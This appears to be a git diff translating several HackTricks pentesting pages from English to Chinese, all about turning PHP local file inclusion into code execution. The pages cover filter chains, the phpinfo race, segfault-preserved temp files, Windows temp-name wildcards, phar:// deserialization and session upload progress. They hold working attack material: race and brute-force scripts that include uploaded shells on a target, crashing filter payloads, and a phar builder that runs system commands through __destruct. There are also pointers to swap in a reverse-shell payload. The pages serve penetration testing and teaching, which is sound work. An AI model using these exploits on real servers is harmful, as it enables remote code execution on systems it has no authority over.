'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
'+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
'=': ''
}
```
Here is the **script** to get encodings that generate each b64 letter:
这里是**脚本**,用于获取生成每个 b64 字母的编码:
```php
<?php
@ -186,91 +181,89 @@ $known = array();
function get_tranform($val, $convs){
foreach($convs as $conv){
$val = @iconv($conv[0], $conv[1], $val);
}
return $val;
foreach($convs as $conv){
$val = @iconv($conv[0], $conv[1], $val);
}
return $val;
}
function test_value($val, $convs){
global $known;
global $known;
$cleaned = preg_replace('/[^a-zA-Z0-9=\+]/', '', $val);
$cleaned = preg_replace('/[^a-zA-Z0-9=\+]/', '', $val);
if (strlen($cleaned) == 1 && ! in_array($cleaned, $known)){
$re_check = get_tranform("r", $convs);
$cleaned2 = preg_replace('/[^a-zA-Z0-9=\+]/', '', $re_check);
if ($cleaned2 === $cleaned){
if (strlen($cleaned) == 1 && ! in_array($cleaned, $known)){
$re_check = get_tranform("r", $convs);
$cleaned2 = preg_replace('/[^a-zA-Z0-9=\+]/', '', $re_check);
if ($cleaned2 === $cleaned){
$conv_str = "";
foreach($convs as $conv){
$conv_str .= "convert.iconv.".$conv[0].".".$conv[1]."|";
}
$conv_str = substr_replace($conv_str ,"", -1);
$conv_str = "";
foreach($convs as $conv){
$conv_str .= "convert.iconv.".$conv[0].".".$conv[1]."|";
}
$conv_str = substr_replace($conv_str ,"", -1);
$value = @file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|$conv_str|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp");
$value = @file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|$conv_str|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp");
if (strlen($value) > 0) {
echo "Combination found for letter $cleaned: ";
array_push($known, $cleaned);
echo "$conv_str\n";
if (strlen($value) > 0) {
echo "Combination found for letter $cleaned: ";
array_push($known, $cleaned);
echo "$conv_str\n";
if (count($known) == 64){
echo "All found\n";
exit(0);
}
}
}
}
if (count($known) == 64){
echo "All found\n";
exit(0);
}
}
}
}
}
function find_vals($init_val) {
global $convs;
global $convs;
$convs_used = array();
$current_val = iconv("UTF8", "CSISO2022KR", $init_val);
array_push($convs_used, array("UTF8", "CSISO2022KR"));
$convs_used = array();
$current_val = iconv("UTF8", "CSISO2022KR", $init_val);
array_push($convs_used, array("UTF8", "CSISO2022KR"));
$current_val2 = "";
$current_val2 = "";
for ($c = 0; $c < 5; $c++){
$conv1 = $convs[array_rand($convs, 1)];
$conv2 = $convs[array_rand($convs, 1)];
for ($c = 0; $c < 5; $c++){
$conv1 = $convs[array_rand($convs, 1)];
$conv2 = $convs[array_rand($convs, 1)];
if ($conv1 === $conv2){
continue;
}
if ($conv1 === $conv2){
continue;
}
$new_conv = array($conv1, $conv2);
array_push($convs_used, $new_conv);
$new_conv = array($conv1, $conv2);
array_push($convs_used, $new_conv);
$current_val2 = get_tranform($current_val, array($new_conv));
$current_val2 = get_tranform($current_val, array($new_conv));
if ($current_val === $current_val2){
continue;
}
if ($current_val === $current_val2){
continue;
}
$current_val = $current_val2;
test_value($current_val, $convs_used);
}
}
$current_val = $current_val2;
test_value($current_val, $convs_used);
}
}
while(true){
find_vals($init);
while(true){
find_vals($init);
}
?>
```
## More References
## 更多参考
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
通过8kSec Academy深化您在**移动安全**方面的专业知识。通过我们的自学课程掌握iOS和Android安全并获得认证
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,44 +2,41 @@
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**从黑客的角度看待您的网络应用程序、网络和云**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化漏洞收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
To exploit this vulnerability you need: **A LFI vulnerability, a page where phpinfo() is displayed, "file_uploads = on" and the server has to be able to write in the "/tmp" directory.**
要利用此漏洞,您需要:**一个LFI漏洞一个显示phpinfo()的页面“file_uploads = on”并且服务器必须能够在“/tmp”目录中写入。**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
You need to fix the exploit (change **=>** for **=>**). To do so you can do:
**教程 HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
您需要修复漏洞(将**=>**更改为**=>**)。为此,您可以执行:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char)
你还需要更改**payload**在利用的开始部分例如php-rev-shell**REQ1**这应该指向phpinfo页面并包含填充_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_),以及**LFIREQ**这应该指向LFI漏洞_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 检查在利用空字符时的双“%”)
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
### Theory
### 理论
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
如果在PHP中允许上传文件并且你尝试上传一个文件这个文件会存储在一个临时目录中直到服务器处理完请求然后这个临时文件会被删除。
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
然后如果你在web服务器中发现了LFI漏洞你可以尝试猜测创建的临时文件的名称并通过在文件被删除之前访问临时文件来利用RCE。
In **Windows** the files are usually stored in **C:\Windows\temp\php**
在**Windows**中,文件通常存储在**C:\Windows\temp\php**
In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig()**".
在**linux**中,文件的名称通常是**随机的**,位于**/tmp**。由于名称是随机的,需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”内部的**变量$\_FILES**的值来完成。
**phpinfo()**
**PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** (using big headers) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo() to be returned** (where the name of the temporary file is) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.
**Python script to try to bruteforce the name (if length = 6)**
**PHP**使用**4096B**的缓冲区,当它**满**时,它会被**发送到客户端**。然后客户端可以**发送****大量的大请求**(使用大头部)**上传一个php**反向**shell**,等待**phpinfo()的第一部分返回**其中包含临时文件的名称并尝试在php服务器删除文件之前访问临时文件利用LFI漏洞。
**Python脚本尝试暴力破解名称如果长度=6**
```python
import itertools
import requests
@ -48,27 +45,25 @@ import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**从黑客的角度看待您的网络应用、网络和云**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面查找允许您提升权限的安全问题并使用自动化漏洞利用收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
# LFI2RCE via Segmentation Fault
# LFI2RCE 通过分段错误
{{#include ../../banners/hacktricks-training.md}}
According to the writeups [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (second part) and [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), the following payloads caused a segmentation fault in PHP:
根据以下写作 [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)(第二部分)和 [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view以下有效载荷导致 PHP 中出现分段错误:
```php
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
@ -11,13 +10,11 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
```
您应该知道,如果您**发送**一个**POST**请求**包含**一个**文件**PHP将会在`/tmp/php<something>`中创建一个**临时文件**,其内容为该文件的内容。该文件将在请求处理完毕后**自动删除**。
You should know that if you **send** a **POST** request **containing** a **file**, PHP will create a **temporary file in `/tmp/php<something>`** with the contents of that file. This file will be **automatically deleted** once the request was processed.
If you find a **LFI** and you manage to **trigger** a segmentation fault in PHP, the **temporary file will never be deleted**. Therefore, you can **search** for it with the **LFI** vulnerability until you find it and execute arbitrary code.
You can use the docker image [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) for testing.
如果您发现了**LFI**并且成功**触发**了PHP中的段错误**临时文件将永远不会被删除**。因此,您可以利用**LFI**漏洞**搜索**该文件,直到找到它并执行任意代码。
您可以使用docker镜像[https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0)进行测试。
```python
# upload file with segmentation fault
import requests
@ -39,27 +36,25 @@ base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
bruteforce(charset)
if __name__ == "__main__":
main()
main()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,32 @@
{{#include ../../banners/hacktricks-training.md}}
**Check the full details of this technique in [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)**
**查看此技术的完整细节 [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)**
## **PHP File uploads**
## **PHP 文件上传**
When a **PHP** engine receives a **POST request** containing files formatted according to RFC 1867, it generates temporary files to store the uploaded data. These files are crucial for file upload handling in PHP scripts. The `move_uploaded_file` function must be used to relocate these temporary files to a desired location if persistent storage beyond the script's execution is needed. Post-execution, PHP automatically deletes any remaining temporary files.
**PHP** 引擎接收到包含根据 RFC 1867 格式化的文件的 **POST 请求** 时,它会生成临时文件以存储上传的数据。这些文件对于 PHP 脚本中的文件上传处理至关重要。如果需要在脚本执行之外的持久存储,必须使用 `move_uploaded_file` 函数将这些临时文件移动到所需位置。执行后PHP 会自动删除任何剩余的临时文件。
> [!NOTE]
> **Security Alert: Attackers, aware of the temporary files' location, might exploit a Local File Inclusion vulnerability to execute code by accessing the file during upload.**
> **安全警报:攻击者如果知道临时文件的位置,可能会利用本地文件包含漏洞通过在上传过程中访问该文件来执行代码。**
The challenge for unauthorized access lies in predicting the temporary file's name, which is intentionally randomized.
未经授权访问的挑战在于预测临时文件的名称,该名称是故意随机化的。
#### Exploitation on Windows Systems
#### 在 Windows 系统上的利用
On Windows, PHP generates temporary file names using the `GetTempFileName` function, resulting in a pattern like `<path>\<pre><uuuu>.TMP`. Notably:
在 Windows 上PHP 使用 `GetTempFileName` 函数生成临时文件名,形成类似 `<path>\<pre><uuuu>.TMP` 的模式。值得注意的是:
- The default path is typically `C:\Windows\Temp`.
- The prefix is usually "php".
- The `<uuuu>` represents a unique hexadecimal value. Crucially, due to the function's limitation, only the lower 16 bits are used, allowing for a maximum of 65,535 unique names with constant path and prefix, making brute force feasible.
Moreover, the exploitation process is simplified on Windows systems. A peculiarity in the `FindFirstFile` function permits the use of wildcards in Local File Inclusion (LFI) paths. This enables crafting an include path like the following to locate the temporary file:
- 默认路径通常是 `C:\Windows\Temp`
- 前缀通常是 "php"。
- `<uuuu>` 代表一个唯一的十六进制值。由于该函数的限制,仅使用低 16 位,因此最多可以生成 65,535 个具有固定路径和前缀的唯一名称,使暴力破解成为可能。
此外,在 Windows 系统上,利用过程更为简化。`FindFirstFile` 函数中的一个特性允许在本地文件包含 (LFI) 路径中使用通配符。这使得可以构造如下的包含路径以定位临时文件:
```
http://site/vuln.php?inc=c:\windows\temp\php<<
```
在某些情况下,可能需要更具体的掩码(如 `php1<<``phpA<<`)。可以系统地尝试这些掩码以发现上传的临时文件。
In certain situations, a more specific mask (like `php1<<` or `phpA<<`) might be required. One can systematically try these masks to discover the uploaded temporary file.
#### 在GNU/Linux系统上的利用
#### Exploitation on GNU/Linux Systems
For GNU/Linux systems, the randomness in temporary file naming is robust, rendering the names neither predictable nor susceptible to brute force attacks. Further details can be found in the referenced documentation.
对于GNU/Linux系统临时文件命名中的随机性是强健的使得名称既不可预测也不易受到暴力攻击。更多细节可以在参考文档中找到。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,49 +1,46 @@
# phar:// deserialization
# phar:// 反序列化
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**漏洞赏金提示****注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.
**Phar** 文件PHP Archive文件 **包含序列化格式的元数据**,因此,当解析时,这个 **元数据** 会被 **反序列化**,你可以尝试利用 **反序列化** 漏洞在 **PHP** 代码中。
The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**.
So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:
这个特性的最佳之处在于,即使使用不执行 PHP 代码的 PHP 函数,如 **file_get_contents()、fopen()、file() 或 file_exists()、md5_file()、filemtime() 或 filesize()**,也会发生这种反序列化。
所以,想象一个情况,你可以让一个 PHP 网站使用 **`phar://`** 协议获取任意文件的大小,并且在代码中你发现一个类似于以下的 **类**
```php:vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
```
You can create a **phar** file that when loaded will **abuse this class to execute arbitrary command**s with something like:
您可以创建一个 **phar** 文件,当加载时将 **滥用此类以执行任意命令**,例如:
```php:create_phar.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
function __destruct() {
system($this->data);
}
}
// create new Phar
@ -57,29 +54,23 @@ $object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
Note how the **magic bytes of JPG** (`\xff\xd8\xff`) are added at the beginning of the phar file to **bypass** **possible** file **uploads** **restrictions**.\
**Compile** the `test.phar` file with:
注意 **JPG 的魔术字节** (`\xff\xd8\xff`) 是如何在 phar 文件的开头添加的,以 **绕过** **可能的** 文件 **上传** **限制**。\
**编译** `test.phar` 文件:
```bash
php --define phar.readonly=0 create_phar.php
```
And execute the `whoami` command abusing the vulnerable code with:
并执行 `whoami` 命令,利用易受攻击的代码:
```bash
php vuln.php
```
### References
### 参考文献
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<figure><img src="../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**漏洞赏金提示****注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Info
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If **`session.upload_progress.enabled`** is **`On`** and you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**.
## 基本信息
如果你发现了一个 **Local File Inclusion**,即使你 **没有会话**`session.auto_start``Off`。如果 **`session.upload_progress.enabled`** 为 **`On`** 并且你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**PHP 将 **为你启用会话**
```bash
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
@ -19,22 +18,20 @@ $ ls -a /var/lib/php/sessions/
In the last example the session will contain the string blahblahblah
```
Note that with **`PHP_SESSION_UPLOAD_PROGRESS`** you can **control data inside the session**, so if you includes your session file you can include a part you control (a php shellcode for example).
注意,使用 **`PHP_SESSION_UPLOAD_PROGRESS`** 你可以 **控制会话中的数据**,因此如果你包含了你的会话文件,你可以包含一个你控制的部分(例如一个 php shellcode
> [!NOTE]
> Although most tutorials on the Internet recommends you to set `session.upload_progress.cleanup` to `Off` for debugging purpose. The default `session.upload_progress.cleanup` in PHP is still `On`. It means your upload progress in the session will be cleaned as soon as possible. So this will be **Race Condition**.
> 尽管互联网上的大多数教程建议你将 `session.upload_progress.cleanup` 设置为 `Off` 以便于调试,但 PHP 中默认的 `session.upload_progress.cleanup` 仍然是 `On`。这意味着你的上传进度将在会话中尽快被清除。因此这将是 **竞争条件**
### The CTF
### CTF
In the [**original CTF**](https://blog.orange.tw/2018/10/) where this technique is commented, it wasn't enough to exploit the Race Condition but the content loaded needed to start also with the string `@<?php`.
在 [**原始 CTF**](https://blog.orange.tw/2018/10/) 中,评论了这种技术,利用竞争条件并不足够,加载的内容也需要以字符串 `@<?php` 开头。
